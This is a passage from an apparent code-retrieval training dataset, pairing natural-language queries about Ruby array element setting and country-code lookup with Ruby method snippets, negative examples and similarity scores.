"def [](index)\n @values[index]\n end",
"def set(index, element)\n\t\traise OutOfBoundsException if index >=@size\n\t\t@data[index] = element\n\tend",
"def set(index, element)\n\t\traise OutOfBoundsException if index >= @size\n\t\t@data[index] = element\n\tend",
"def at(idx)\n Ruby.primitive :array_aref\n idx = Type.coerce_to idx, Fixnum, :to_int\n idx += @total if idx < 0\n\n return nil if idx < 0 or idx >= @total\n\n @tuple.at @start + idx\n end",
"def [](index)\n return get(index)\n end",
"def set(index, element)\n @array_list.set(index, element)\n end",
"def item\n return @data[@index] if @index >= 0\n @data[@old_index]\n end",
"def [](index)\n demand super(index)\n end",
"def custom_first(arr, num_of_elements = 0)\n return arr[0] if num_of_elements == 0\n arr[0, num_of_elements]\nend",
"def at(index)\n if index >= self.size\n puts \"index out of range.\"\n else\n each_with_index do |node, i|\n return node.value\n end\n end\n end",
"def [](index) # i.e. array style index lookup.\n end"
] | [
"0.6966553",
"0.6731727",
"0.67117345",
"0.6696483",
"0.66485125",
"0.65777916",
"0.65613496",
"0.65542305",
"0.65542305",
"0.64502865",
"0.64394116",
"0.6433187",
"0.6425451",
"0.64229184",
"0.6405252",
"0.63360935",
"0.6311753",
"0.62470424",
"0.6196959",
"0.61914635",
"0.6173568",
"0.6154259",
"0.6148116",
"0.6102222",
"0.610079",
"0.6097972",
"0.606109",
"0.606109",
"0.6037934",
"0.6037934",
"0.6000455",
"0.5994745",
"0.5990156",
"0.59758097",
"0.5966907",
"0.5953314",
"0.5950706",
"0.59427834",
"0.59425765",
"0.5936924",
"0.5926178",
"0.5905115",
"0.58929527",
"0.58841896",
"0.58744603",
"0.58605266",
"0.58605266",
"0.58366436",
"0.5817231",
"0.5814473",
"0.5806168",
"0.57834405",
"0.57831675",
"0.57790214",
"0.57753026",
"0.5758841",
"0.5755415",
"0.5740862",
"0.5738045",
"0.57256395",
"0.572067",
"0.5714417",
"0.57138973",
"0.57087404",
"0.56864625",
"0.5685205",
"0.5676147",
"0.5674092",
"0.56730145",
"0.56615305",
"0.5659756",
"0.56529874",
"0.56508654",
"0.56464785",
"0.56313896",
"0.56276697",
"0.5613887",
"0.56003463",
"0.5594789",
"0.5594633",
"0.5580729",
"0.5572154",
"0.55666727",
"0.55603915",
"0.55533886",
"0.554485",
"0.554199",
"0.5540581",
"0.5537003",
"0.5527678",
"0.5520669",
"0.55106306",
"0.5509924",
"0.55089957",
"0.5484192",
"0.5482795",
"0.5475938",
"0.54728013",
"0.54576623",
"0.5447021"
] | 0.64432234 | 10 |
Sets the element at index. If index is greater than size of array then elements from size to index are filled with extender. | def []=(x,v)
max = size
super(x,v)
if size - max >1
(max..size-2).each do |i|
self[i] = @extender
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set(index, element)\n @array_list.set(index, element)\n end",
"def set(index, element)\n\t\traise OutOfBoundsException if index >=@size\n\t\t@data[index] = element\n\tend",
"def set(index, element)\n\t\traise OutOfBoundsException if index >= @size\n\t\t@data[index] = element\n\tend",
"def set( index , value)\n raise \"Only positive indexes #{index}\" if index <= 0\n if index > self.get_length\n grow_to(index)\n end\n # internally 1 is reserved for the layout\n internal_object_set( index + 1, value)\n end",
"def []=(indx, value)\n elements[indx] = value\n end",
"def []=(index, element); end",
"def []=(index, value)\n index += @length if index < 0\n\n `self[index] = value`\n end",
"def []=(index,value)\n @values[index] = value\n if index >= @size\n @size = index+1\n end\n end",
"def []=(index, object)\n # raises IndexOutOfBoundsException if index is out of bounds [0, @length)\n # TODO\n end",
"def []=( index, value )\r\n @ary[index + @offset] = value\r\n end",
"def []=(index, value)\n self.__setitem__ index, value\n end",
"def update_element_from_index(array, index_number, element)\nreturn array[index_number] = element\n\nend",
"def []=(index, value)\n set(index, value)\n end",
"def []=(index,value)\n add_at(index,value)\n end",
"def []=(index, value)\n %x{\n var size = #{self}.length;\n\n if (index < 0) {\n index += size;\n }\n\n return #{self}[index] = value;\n }\n end",
"def []=(index, value)\n end",
"def update_array_at_with (array, i, char)\n array[i] = X\nend",
"def []=(index, value)\n\t\t@field[1][index] = value\n\tend",
"def set(element, index)\n raise(StandardError, 'IndexError') if invalid_index?(index)\n\n find_node_by_index(index).tap { |node| node.data = element }.data\n end",
"def set(index, val)\n @current[index] = val\n end",
"def []=(index, value)\n end",
"def [](x)\n if x >=size\n for i in size..x\n self[i]=@extender\n end\n end\n super(x)\n end",
"def []=(index, form_field)\n touch()\n \n begin\n form_field.hint = @hints[form_field.name.to_s] if (@hints && !form_field.hint)\n rescue ::Exception => e\n end\n \n if !index.kind_of? Numeric\n delegated_to_fieldset = false\n @fieldsets.values.each { |fieldset|\n if fieldset.has_field?(index) then\n fieldset[index] = form_field\n delegated_to_fieldset = true\n end\n }\n \n @element_map[index.to_s] = form_field unless delegated_to_fieldset\n replaced = false\n @elements.collect { |e|\n if e.name.to_s == index.to_s\n replaced = true\n e = form_field \n end\n }\n @elements << form_field unless replaced\n else \n @elements[index] = form_field \n end\n\n @values[form_field.name.to_s] = form_field.value if form_field.respond_to?(:value)\n end",
"def set(index, element)\n node_at_index = get(index)\n node_at_index.element = element\n end",
"def []=(index, val)\n #@struct[:ptr].send(\"put_#{dtype}\".to_sym, index*STRIDES[dtype], val)\n @struct.set(@struct, index, val)\n end",
"def update_array_at_with(array, index)\n board[index] = \"X\"\nend",
"def index=(index)\n old_index = self.index\n super(index)\n draw_item(old_index)\n draw_item(self.index)\n end",
"def set_at(index, value)\n raise \"The index #{index} is not in the range of the list\" unless in_limits?(index)\n\n pos = position_for_index(index)\n\n set_value(pos,value)\n end",
"def []=(i, val) \n # resize array if inserting into index thats greater than length of array\n if i > capacity()\n resize!() until i <= capacity()\n end\n \n # when inserting using negative indexes\n if i < 0\n return nil if i < -(@count)\n self[@count + i] = val\n @count += 1\n return\n else\n @store[i] = val\n @count += 1\n end\n end",
"def []=(index, value)\n @driver_instance.set_list_value(@key, index, value)\n end",
"def set(index, val)\n \n end",
"def set_property_at_index(ctx,object,propertyIndex,value,exception)\n JS::Lib.JSObjectSetPropertyAtIndex(ctx,object,propertyIndex,value,exception)\n end",
"def []=(index, part)\n parts[index] = part\n end",
"def []=(index, value)\n raise ArgumentError, \"index must be < #{size}\" if index >= size\n mask = 1 << index\n @number = value && value != 0 ? number | mask : number & ~mask\n end",
"def replace_nth_element ix, text_elmt\n old_te = nth_elmt ix\n if old_te.text != text_elmt.text\n error = \"Bogus attempt to set ##{ix}-th element '#{}' to '#{text_elmt.text}'\"\n throw error\n end\n self[ix][0] = text_elmt\n end",
"def set!(idx, val)\n case idx\n when Range\n RAtlas::set_by_range!(@storage, idx, val.storage)\n when Array\n RAtlas::set_many!(@storage, idx, val.storage)\n else \n RAtlas::set_one!(@storage, idx, val)\n end\n return self\n end",
"def []=(index, value)\n raise TypeError, \"instance is not mutable\" unless mutable?\n self.class.check_cftype(value)\n CF.CFArraySetValueAtIndex(self, index, value)\n end",
"def []=(index, new_payload)\n item = @first_item\n index.times do\n item = item.next_list_item\n end\n item.payload = new_payload\n end",
"def []=(i, value)\n\t\t@alto[i]=value\n\t\t@ancho[i]=value\n\t\t@elem[i]=value\n\tend",
"def []=(index, val)\n @list[index]=val\n fire_row_changed index\n self\n end",
"def []=(i, b)\n\t\tif i < 0 || i >= size\n\t\t\traise IndexError.new(\"index #{i} out of bounds for size #{size}\")\n\t\tend\n\t\tBuffer.__assert_range(b)\n\t\t@bytes[i] = b\n\t\treturn\n\tend",
"def []=(index, data)\n\t\tcurrent_node = @first_item\n\t\tindex.times do\n\t\t\tcurrent_node = current_node.next_item\n\t\tend\n\t\tcurrent_node.payload = data\n\tend",
"def []=(index, value)\n\t\t@store[index] = value\n\tend",
"def set(index, val)\n @changes[index] = val\n end",
"def []= index, value\n if index.class != Fixnum or value.class != Array or\n index >= 2**(@mar.length) or index < 0 or value.length != @mdr.length\n\n raise ArgumentError.new \"wrong index and / or value given\"\n end\n\n @memory[index] = value\n end",
"def at(index)\n \t@array[index]\n end",
"def index= n\n @index = n\n end",
"def current_value=(v)\n index = current_index\n @array[index] = v if index >= 0\n end",
"def index=(idx)\n raise \"Index already set!\" unless @index.nil?\n @index = idx\n end",
"def at(index)\n @index = index\n self\n end",
"def insert(index, element)\n oob_throw(index)\n if index == 0\n @array = [element] + @array[index + 1..-1]\n else\n @array = @array[0..index-1] + [element] + @array[index..-1]\n end\n end",
"def []=(index, value)\n genes[index] = value\n end",
"def []=(i, x)\n\t\t\t@elements[i] = Float(x)\n\t\tend",
"def set_element_at(row_idx, column_idx, value)\n target_row = row_at(row_idx)\n element = Element.new(value, row_idx, column_idx, self)\n target_row[column_idx] = element\n end",
"def arrayReplaceAt(src, pos, newElements)\n src[pos] = newElements\n src.flatten!(1)\n return src\n end",
"def reappend_el(index)\n element = @cache.slice!(index)\n @cache << element\n end",
"def []=(x, v)\n old_size = size\n super(x, v)\n expand(old_size, size - 2) if size - old_size > 1\n end",
"def index\n @array = [45, 6, 32, 0]\n end",
"def []=(i,val)\n entry_length = struct_class_length\n \n unless (0...(length / entry_length)).include? i\n raise ArgumentError, \"index out of range: #{i}\"\n end\n \n unless val.length == entry_length\n raise ArgumentError, \"wrong entry length: #{val.length} != #{entry_length}\"\n end\n \n _old_replace_substr(entry_length * i, entry_length, val)\n end",
"def replace_index!(arr, i,array)\n arr.replace( (arr[0, i] || []) + array + arr[i + 1 .. -1] )\n end",
"def concat element, index=nil\n raise IndexError, \"Expected new unique index\" if @index.include? index\n\n if index.nil? and @index.index_class == Integer\n @index = create_index(@size + 1)\n index = @size\n else\n begin\n @index = create_index(@index + index)\n rescue StandardError => e\n raise e, \"Expected valid index.\"\n end\n end\n @data[@index[index]] = element\n set_size\n set_nil_positions\n end",
"def []=(i, x)\n @elem[i] = Float(x)\n end",
"def index=(new_index)\n @index = new_index\n @index = @pages.size-1 if @index < 0\n @index = 0 if @index > @pages.size-1\n refresh\n end",
"def at( index )\r\n @ary.at(index + @offset)\r\n end",
"def []=(index, value)\n node = get_node_at_index(index)\n node.value = value\n node.value\n end",
"def set_index(index)\n @index = index\n end",
"def []=(index, value)\r\n @library[index] = value\r\n end",
"def []=(i, v)\n case i\n when Range\n (self.size..i.begin - 1).each{|e| self[e] = 0} # self.size must be in the first place because the size of self can be modified\n [v.size, i.entries.size].min.times {|e| self[e + i.begin] = v[e]}\n (v.size + i.begin .. i.end).each {|e| self[e] = 0}\n else\n @elements[i]=v\n end\n end",
"def set(index,x)\n if index.is_a? Symbol\n index = get_by_sym(index)\n end\n unless x.nil? or x == ''\n if fields_desc[index][1] # we're a repeating field\n x = [x] unless x.is_a? Array\n @fields[index] = x.map { |y| fields_desc[index][2].from_ruby(y)}\n else\n @fields[index] = fields_desc[index][2].from_ruby(x)\n end\n if @fields[index].respond_to?(:separator) && @separator == '^' # we're a field, so it's a subfield\n @fields[index].separator = '&'\n end\n end\n end",
"def insert(index, element)\n raise OutOfBoundsException unless valid_index?(index)\n\n temp_list = array_list\n @array_list = FixedArray.new(length + 1)\n (index -1).times do |below_index|\n array_list.set(below_index, temp_list.get(below_index))\n end\n\n array_list.set(index,element)\n\n (index + 1).upto(length - 1) do |above_index|\n @array_list.set(above_index, temp_list.get(index))\n end\n\n element\n end",
"def []=(index, value) #defining the [] setter\n item = @first_item # sets the variable item to @first_item\n index.times do #iterates as many times as index is fed in\n item= item.next_list_item #feeds item to @next_list_item\n # puts \"(((((((()))))))))))))((((((((((((((@item))))))))))))))\"\n # puts @first_item.payload\n # puts\"((((((((((((((item.next_list_Item)))))))))))))\"\n puts item.payload\n end\n\n item.payload = value #returns item.payload in the variable value\n # puts '((((((((((((((((((((value))))))))))))))))))))'\n # puts value\n end",
"def element=(element); end",
"def []= i, widget\n @form[i] = widget\n end",
"def []=(name, index = 0, value)\n __send__(self.class::MEMBERS_SETFN[name], value, index)\n end",
"def []=(index, value)\n method_name = \"#{index.to_s.downcase}=\"\n raise KeyError.new(\"Unkown index: #{index}\") unless respond_to? method_name\n send method_name, value\n end",
"def []=(idx, letter)\n\t\t@bar[idx] = letter\n \tend",
"def []= i, widget\n self.init_widget\n @widgets[i] = widget\n end",
"def update(idx, new_val)\n # idx is 1-based\n idx += @n_leaves - 1\n\n # Note: this will allow updating indices\n # that were not in original array but is\n # less than next power of 2 of arr.size.\n raise KeyError, 'Index Out of Bounds Error' unless idx < @internal_arr.size\n\n @internal_arr[idx] = new_val\n\n p = idx >> 1\n\n # since we are using a 1-based indexing,\n # p=0 is an invalid state.\n while p > 0\n @internal_arr[p] = @func.call(@internal_arr[p << 1], @internal_arr[p << 1 | 1])\n p >>= 1\n end\n end",
"def insert_element_at_given_index(array, index, element)\n array.insert(index, element)\nend",
"def move( array, index, value=\"X\" )\n array[index] = value\nend",
"def []=(offset, value)\n iterator = self.iterator\n iterator[offset] = value\n end",
"def *(index)\n self.class.new(\"#{@name}[]\", \"#{@id}:#{'%03d' % index}\")\n end",
"def set_value(new_value, index)\n update_tag(index, new_value)\n end",
"def [](idx)\r\n to_a[idx] || element_class.new(@parent, :index => idx)\r\n end",
"def set_property_at_index(propertyIndex,value,exception = nil)\n value = JS::Value.from_ruby(context,value)\n res = super(context,self,propertyIndex,value,exception)\n return res\n end",
"def set(a)\r\n if a.is_a?(Array)\r\n @text = a[0]\r\n @icon = a[1] if a[1]\r\n else\r\n @text = a.name + \"\\n\" + a.description\r\n @icon = a.icon_index\r\n end \r\n refresh\r\n end",
"def set(index, value)\n @local_index.set(index, value)\n end",
"def element=( element )\n @element = element\n self\n end",
"def x(index)\n @end_index = index\n end",
"def __set(i, e)\n\t\tUtil.__set(@m, i, e)\n\t\treturn\n\tend",
"def []=(elemento)\n end",
"def []=(index, value)\n @members[index] = cast_value(value)\n end",
"def set_value_at_index value, row_index, column_index\n raise ArgumentError.new(\"There is no image\") if self.data == []\n raise ArgumentError.new(\"column or row out of bound\") if 1 > row_index || row_index > self.data.row_count || 1 > column_index || column_index > self.data.column_count\n Bitmap.instance.data.send(:[]=, row_index-1, column_index-1, value)\n end",
"def [](index)\n lines.public_send(:[], index)\n end",
"def []=(index, value)\n node = find_node(index)\n node.value = value\n end",
"def update(idx, new_val)\n # idx is 1-based\n idx += @n_leaves - 1\n\n # Note: this will allow updating indices \n # that were not in original array but is \n # less than next power of 2 of arr.size.\n unless idx < @internal_arr.size\n raise KeyError, \"Index Out of Bounds Error\"\n end\n @internal_arr[idx] = new_val\n \n p = idx >> 1\n \n # since we are using a 1-based indexing, \n # p=0 is an invalid state.\n while p > 0 do\n @internal_arr[p] = @func.call(@internal_arr[p << 1], @internal_arr[p << 1 | 1])\n p >>= 1\n end\n end",
"def []=(*indexes, value)\r\n validate_index_count(indexes)\r\n source = value.in_array.cycle\r\n process_indexes(indexes) {|_index, posn| @array_data[posn] = source.next}\r\n value\r\n end",
"def []=( idx, val_term_t)\n raise IndexError, \"max index is #{arity-1}\" if idx >= arity\n rv = Extern.PL_unify_arg idx+1, term_t, val_term_t\n rv == 1 or raise \"can't set index #{idx}\"\n end",
"def move(array, index, value = \"X\")\n array[index] = value\nend",
"def set(i, value)\n old_element = @elements.get(i)\n @elements.set(i, value) # update list\n HashSet.instance_method(:remove).bind(self).call(old_element) # now update the set: remove/add\n HashSet.instance_method(:add).bind(self).call(value)\n return old_element\n end"
] | [
"0.78111315",
"0.7660529",
"0.7637192",
"0.7404538",
"0.71958965",
"0.71853995",
"0.7008617",
"0.7003086",
"0.69953805",
"0.69635797",
"0.69442767",
"0.6909584",
"0.67130154",
"0.6609288",
"0.6599748",
"0.65412235",
"0.65343094",
"0.6498837",
"0.64581245",
"0.64570606",
"0.6417409",
"0.63924974",
"0.638643",
"0.6371929",
"0.63292104",
"0.6319215",
"0.6299553",
"0.62946916",
"0.62117743",
"0.61899614",
"0.6187281",
"0.61417896",
"0.6098671",
"0.6082902",
"0.60773516",
"0.6069993",
"0.606621",
"0.6044189",
"0.6008987",
"0.60008705",
"0.5914477",
"0.5881342",
"0.58696496",
"0.5868675",
"0.586518",
"0.5857641",
"0.5811446",
"0.57979363",
"0.57923317",
"0.57579607",
"0.56973726",
"0.5684161",
"0.5680938",
"0.5680883",
"0.56785643",
"0.5671532",
"0.5665749",
"0.5650464",
"0.56496185",
"0.5642919",
"0.56230015",
"0.5618352",
"0.56106985",
"0.5608048",
"0.5607389",
"0.5589696",
"0.55706817",
"0.55615985",
"0.5555695",
"0.5555418",
"0.55539334",
"0.5540306",
"0.5538551",
"0.5530504",
"0.5526775",
"0.5518433",
"0.5505685",
"0.550244",
"0.5501951",
"0.5501267",
"0.54997975",
"0.5497241",
"0.5494553",
"0.5492036",
"0.54881537",
"0.548706",
"0.54867125",
"0.5486156",
"0.5467238",
"0.5458037",
"0.54563457",
"0.54523104",
"0.54429686",
"0.544211",
"0.54303116",
"0.5424178",
"0.54197687",
"0.54059136",
"0.54053646",
"0.54032385"
] | 0.6563811 | 15 |
Change a country code to a humanreadable country Eg: AU = Australia | def country_name(country_code)
country = ISO3166::Country[country_code]
country.name
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def country_code\n cc = carmen_country\n\n cc ? \"#{cc.code.upcase}\" : nil\n end",
"def country_code_alpha2\n country_code == 'EL' ? 'GR' : country_code\n end",
"def normalize_country\n c = @data_object.add_country.strip\n\n c = c.downcase.gsub(/[\\. ]/, '').sub(/^the/, '')\n \n if US_MAP[c]\n @data_object.add_country = USA\n end\n\n end",
"def country(code)\n\t\tcase code\n\t\t\twhen \"AD\"\tthen \"Andorra\"\n\t\t\twhen \"AE\"\tthen \"United Arab Emirates\"\n\t\t\twhen \"AF\"\tthen \"Afghanistan\"\n\t\t\twhen \"AG\"\tthen \"Antigua and Barbuda\"\n\t\t\twhen \"AI\"\tthen \"Anguilla\"\n\t\t\twhen \"AL\"\tthen \"Albania\"\n\t\t\twhen \"AM\"\tthen \"Armenia\"\n\t\t\twhen \"AO\"\tthen \"Angola\"\n\t\t\twhen \"AR\"\tthen \"Argentina\"\n\t\t\twhen \"AS\"\tthen \"American Samoa\"\n\t\t\twhen \"AT\"\tthen \"Austria\"\n\t\t\twhen \"AU\"\tthen \"Australia\"\n\t\t\twhen \"AW\"\tthen \"Aruba\"\n\t\t\twhen \"AX\"\tthen \"Aland Islands\"\n\t\t\twhen \"AZ\"\tthen \"Azerbaijan\"\n\t\t\twhen \"BA\"\tthen \"Bosnia and Herzegovina\"\n\t\t\twhen \"BB\"\tthen \"Barbados\"\n\t\t\twhen \"BD\"\tthen \"Bangladesh\"\n\t\t\twhen \"BE\"\tthen \"Belgium\"\n\t\t\twhen \"BF\"\tthen \"Burkina Faso\"\n\t\t\twhen \"BG\"\tthen \"Bulgaria\"\n\t\t\twhen \"BH\"\tthen \"Bahrain\"\n\t\t\twhen \"BI\"\tthen \"Burundi\"\n\t\t\twhen \"BJ\"\tthen \"Benin\"\n\t\t\twhen \"BL\"\tthen \"Saint Barthelemy\"\n\t\t\twhen \"BN\"\tthen \"Brunei Darussalam\"\n\t\t\twhen \"BO\"\tthen \"Bolivia\"\n\t\t\twhen \"BM\"\tthen \"Bermuda\"\n\t\t\twhen \"BQ\"\tthen \"Bonaire Saint Eustachius and Saba\"\n\t\t\twhen \"BR\"\tthen \"Brazil\"\n\t\t\twhen \"BS\"\tthen \"Bahamas\"\n\t\t\twhen \"BT\"\tthen \"Bhutan\"\n\t\t\twhen \"BV\"\tthen \"Bouvet Island\"\n\t\t\twhen \"BW\"\tthen \"Botswana\"\n\t\t\twhen \"BY\"\tthen \"Belarus\"\n\t\t\twhen \"BZ\"\tthen \"Belize\"\n\t\t\twhen \"CA\"\tthen \"Canada\"\n\t\t\twhen \"CC\"\tthen \"Cocos (Keeling) Islands\"\n\t\t\twhen \"CD\"\tthen \"Democratic Republic of Congo\"\n\t\t\twhen \"CF\"\tthen \"Central African Republic\"\n\t\t\twhen \"CG\"\tthen \"Republic of Congo\"\n\t\t\twhen \"CH\"\tthen \"Switzerland\"\n\t\t\twhen \"CI\"\tthen \"Côte d'Ivoire\"\n\t\t\twhen \"CK\"\tthen \"Cook Islands\"\n\t\t\twhen \"CL\"\tthen \"Chile\"\n\t\t\twhen \"CM\"\tthen \"Cameroon\"\n\t\t\twhen \"CN\"\tthen \"China\"\n\t\t\twhen \"CO\"\tthen \"Colombia\"\n\t\t\twhen \"CR\"\tthen \"Costa Rica\"\n\t\t\twhen \"CU\"\tthen \"Cuba\"\n\t\t\twhen \"CV\"\tthen \"Cape Verde\"\n\t\t\twhen \"CW\"\tthen \"Curaçao\"\n\t\t\twhen \"CX\"\tthen \"Christmas Island\"\n\t\t\twhen \"CY\"\tthen \"Cyprus\"\n\t\t\twhen \"CZ\"\tthen \"Czech Republic\"\n\t\t\twhen \"DE\"\tthen \"Germany\"\n\t\t\twhen \"DJ\"\tthen \"Djibouti\"\n\t\t\twhen \"DK\"\tthen \"Denmark\"\n\t\t\twhen \"DM\"\tthen \"Dominica\"\n\t\t\twhen \"DO\"\tthen \"Dominican Republic\"\n\t\t\twhen \"DZ\"\tthen \"Algeria\"\n\t\t\twhen \"EC\"\tthen \"Ecuador\"\n\t\t\twhen \"EG\"\tthen \"Egypt\"\n\t\t\twhen \"EE\"\tthen \"Estonia\"\n\t\t\twhen \"EH\"\tthen \"Western Sahara\"\n\t\t\twhen \"ER\"\tthen \"Eritrea\"\n\t\t\twhen \"ES\"\tthen \"Spain\"\n\t\t\twhen \"ET\"\tthen \"Ethiopia\"\n\t\t\twhen \"FI\"\tthen \"Finland\"\n\t\t\twhen \"FJ\"\tthen \"Fiji\"\n\t\t\twhen \"FK\"\tthen \"Falkland Islands\"\n\t\t\twhen \"FM\"\tthen \"Federated States of Micronesia\"\n\t\t\twhen \"FO\"\tthen \"Faroe Islands\"\n\t\t\twhen \"FR\"\tthen \"France\"\n\t\t\twhen \"GA\"\tthen \"Gabon\"\n\t\t\twhen \"GB\"\tthen \"United Kingdom\"\n\t\t\twhen \"GE\"\tthen \"Georgia\"\n\t\t\twhen \"GD\"\tthen \"Grenada\"\n\t\t\twhen \"GF\"\tthen \"French Guiana\"\n\t\t\twhen \"GG\"\tthen \"Guernsey\"\n\t\t\twhen \"GH\"\tthen \"Ghana\"\n\t\t\twhen \"GI\"\tthen \"Gibraltar\"\n\t\t\twhen \"GL\"\tthen \"Greenland\"\n\t\t\twhen \"GM\"\tthen \"Gambia\"\n\t\t\twhen \"GN\"\tthen \"Guinea\"\n\t\t\twhen \"GO\"\tthen \"Glorioso Islands\"\n\t\t\twhen \"GP\"\tthen \"Guadeloupe\"\n\t\t\twhen \"GQ\"\tthen \"Equatorial Guinea\"\n\t\t\twhen \"GR\"\tthen \"Greece\"\n\t\t\twhen \"GS\"\tthen \"South Georgia and South Sandwich Islands\"\n\t\t\twhen \"GT\"\tthen \"Guatemala\"\n\t\t\twhen \"GU\"\tthen \"Guam\"\n\t\t\twhen \"GW\"\tthen \"Guinea-Bissau\"\n\t\t\twhen \"GY\"\tthen \"Guyana\"\n\t\t\twhen \"HK\"\tthen \"Hong Kong\"\n\t\t\twhen \"HM\"\tthen \"Heard Island and McDonald Islands\"\n\t\t\twhen \"HN\"\tthen \"Honduras\"\n\t\t\twhen \"HR\"\tthen \"Croatia\"\n\t\t\twhen \"HT\"\tthen \"Haiti\"\n\t\t\twhen \"HU\"\tthen \"Hungary\"\n\t\t\twhen \"ID\"\tthen \"Indonesia\"\n\t\t\twhen \"IE\"\tthen \"Ireland\"\n\t\t\twhen \"IL\"\tthen \"Israel\"\n\t\t\twhen \"IM\"\tthen \"Isle of Man\"\n\t\t\twhen \"IN\"\tthen \"India\"\n\t\t\twhen \"IO\"\tthen \"British Indian Ocean Territory\"\n\t\t\twhen \"IQ\"\tthen \"Iraq\"\n\t\t\twhen \"IR\"\tthen \"Iran\"\n\t\t\twhen \"IS\"\tthen \"Iceland\"\n\t\t\twhen \"IT\"\tthen \"Italy\"\n\t\t\twhen \"JE\"\tthen \"Jersey\"\n\t\t\twhen \"JM\"\tthen \"Jamaica\"\n\t\t\twhen \"JO\"\tthen \"Jordan\"\n\t\t\twhen \"JP\"\tthen \"Japan\"\n\t\t\twhen \"JU\"\tthen \"Juan De Nova Island\"\n\t\t\twhen \"KE\"\tthen \"Kenya\"\n\t\t\twhen \"KG\"\tthen \"Kyrgyzstan\"\n\t\t\twhen \"KH\"\tthen \"Cambodia\"\n\t\t\twhen \"KI\"\tthen \"Kiribati\"\n\t\t\twhen \"KM\"\tthen \"Comoros\"\n\t\t\twhen \"KN\"\tthen \"Saint Kitts and Nevis\"\n\t\t\twhen \"KP\"\tthen \"North Korea\"\n\t\t\twhen \"KR\"\tthen \"South Korea\"\n\t\t\twhen \"XK\"\tthen \"Kosovo\"\n\t\t\twhen \"KW\"\tthen \"Kuwait\"\n\t\t\twhen \"KY\"\tthen \"Cayman Islands\"\n\t\t\twhen \"KZ\"\tthen \"Kazakhstan\"\n\t\t\twhen \"LA\"\tthen \"Lao People's Democratic Republic\"\n\t\t\twhen \"LB\"\tthen \"Lebanon\"\n\t\t\twhen \"LC\"\tthen \"Saint Lucia\"\n\t\t\twhen \"LI\"\tthen \"Liechtenstein\"\n\t\t\twhen \"LK\"\tthen \"Sri Lanka\"\n\t\t\twhen \"LR\"\tthen \"Liberia\"\n\t\t\twhen \"LS\"\tthen \"Lesotho\"\n\t\t\twhen \"LT\"\tthen \"Lithuania\"\n\t\t\twhen \"LU\"\tthen \"Luxembourg\"\n\t\t\twhen \"LV\"\tthen \"Latvia\"\n\t\t\twhen \"LY\"\tthen \"Libya\"\n\t\t\twhen \"MA\"\tthen \"Morocco\"\n\t\t\twhen \"MC\"\tthen \"Monaco\"\n\t\t\twhen \"MD\"\tthen \"Moldova\"\n\t\t\twhen \"MG\"\tthen \"Madagascar\"\n\t\t\twhen \"ME\"\tthen \"Montenegro\"\n\t\t\twhen \"MF\"\tthen \"Saint Martin\"\n\t\t\twhen \"MH\"\tthen \"Marshall Islands\"\n\t\t\twhen \"MK\"\tthen \"Macedonia\"\n\t\t\twhen \"ML\"\tthen \"Mali\"\n\t\t\twhen \"MO\"\tthen \"Macau\"\n\t\t\twhen \"MM\"\tthen \"Myanmar\"\n\t\t\twhen \"MN\"\tthen \"Mongolia\"\n\t\t\twhen \"MP\"\tthen \"Northern Mariana Islands\"\n\t\t\twhen \"MQ\"\tthen \"Martinique\"\n\t\t\twhen \"MR\"\tthen \"Mauritania\"\n\t\t\twhen \"MS\"\tthen \"Montserrat\"\n\t\t\twhen \"MT\"\tthen \"Malta\"\n\t\t\twhen \"MU\"\tthen \"Mauritius\"\n\t\t\twhen \"MV\"\tthen \"Maldives\"\n\t\t\twhen \"MW\"\tthen \"Malawi\"\n\t\t\twhen \"MX\"\tthen \"Mexico\"\n\t\t\twhen \"MY\"\tthen \"Malaysia\"\n\t\t\twhen \"MZ\"\tthen \"Mozambique\"\n\t\t\twhen \"NA\"\tthen \"Namibia\"\n\t\t\twhen \"NC\"\tthen \"New Caledonia\"\n\t\t\twhen \"NE\"\tthen \"Niger\"\n\t\t\twhen \"NF\"\tthen \"Norfolk Island\"\n\t\t\twhen \"NG\"\tthen \"Nigeria\"\n\t\t\twhen \"NI\"\tthen \"Nicaragua\"\n\t\t\twhen \"NL\"\tthen \"Netherlands\"\n\t\t\twhen \"NO\"\tthen \"Norway\"\n\t\t\twhen \"NP\"\tthen \"Nepal\"\n\t\t\twhen \"NR\"\tthen \"Nauru\"\n\t\t\twhen \"NU\"\tthen \"Niue\"\n\t\t\twhen \"NZ\"\tthen \"New Zealand\"\n\t\t\twhen \"OM\"\tthen \"Oman\"\n\t\t\twhen \"PA\"\tthen \"Panama\"\n\t\t\twhen \"PE\"\tthen \"Peru\"\n\t\t\twhen \"PF\"\tthen \"French Polynesia\"\n\t\t\twhen \"PG\"\tthen \"Papua New Guinea\"\n\t\t\twhen \"PH\"\tthen \"Philippines\"\n\t\t\twhen \"PK\"\tthen \"Pakistan\"\n\t\t\twhen \"PL\"\tthen \"Poland\"\n\t\t\twhen \"PM\"\tthen \"Saint Pierre and Miquelon\"\n\t\t\twhen \"PN\"\tthen \"Pitcairn Islands\"\n\t\t\twhen \"PR\"\tthen \"Puerto Rico\"\n\t\t\twhen \"PS\"\tthen \"Palestinian Territories\"\n\t\t\twhen \"PT\"\tthen \"Portugal\"\n\t\t\twhen \"PW\"\tthen \"Palau\"\n\t\t\twhen \"PY\"\tthen \"Paraguay\"\n\t\t\twhen \"QA\"\tthen \"Qatar\"\n\t\t\twhen \"RE\"\tthen \"Reunion\"\n\t\t\twhen \"RO\"\tthen \"Romania\"\n\t\t\twhen \"RS\"\tthen \"Serbia\"\n\t\t\twhen \"RU\"\tthen \"Russia\"\n\t\t\twhen \"RW\"\tthen \"Rwanda\"\n\t\t\twhen \"SA\"\tthen \"Saudi Arabia\"\n\t\t\twhen \"SB\"\tthen \"Solomon Islands\"\n\t\t\twhen \"SC\"\tthen \"Seychelles\"\n\t\t\twhen \"SD\"\tthen \"Sudan\"\n\t\t\twhen \"SE\"\tthen \"Sweden\"\n\t\t\twhen \"SG\"\tthen \"Singapore\"\n\t\t\twhen \"SH\"\tthen \"Saint Helena\"\n\t\t\twhen \"SI\"\tthen \"Slovenia\"\n\t\t\twhen \"SJ\"\tthen \"Svalbard and Jan Mayen\"\n\t\t\twhen \"SK\"\tthen \"Slovakia\"\n\t\t\twhen \"SL\"\tthen \"Sierra Leone\"\n\t\t\twhen \"SM\"\tthen \"San Marino\"\n\t\t\twhen \"SN\"\tthen \"Senegal\"\n\t\t\twhen \"SO\"\tthen \"Somalia\"\n\t\t\twhen \"SR\"\tthen 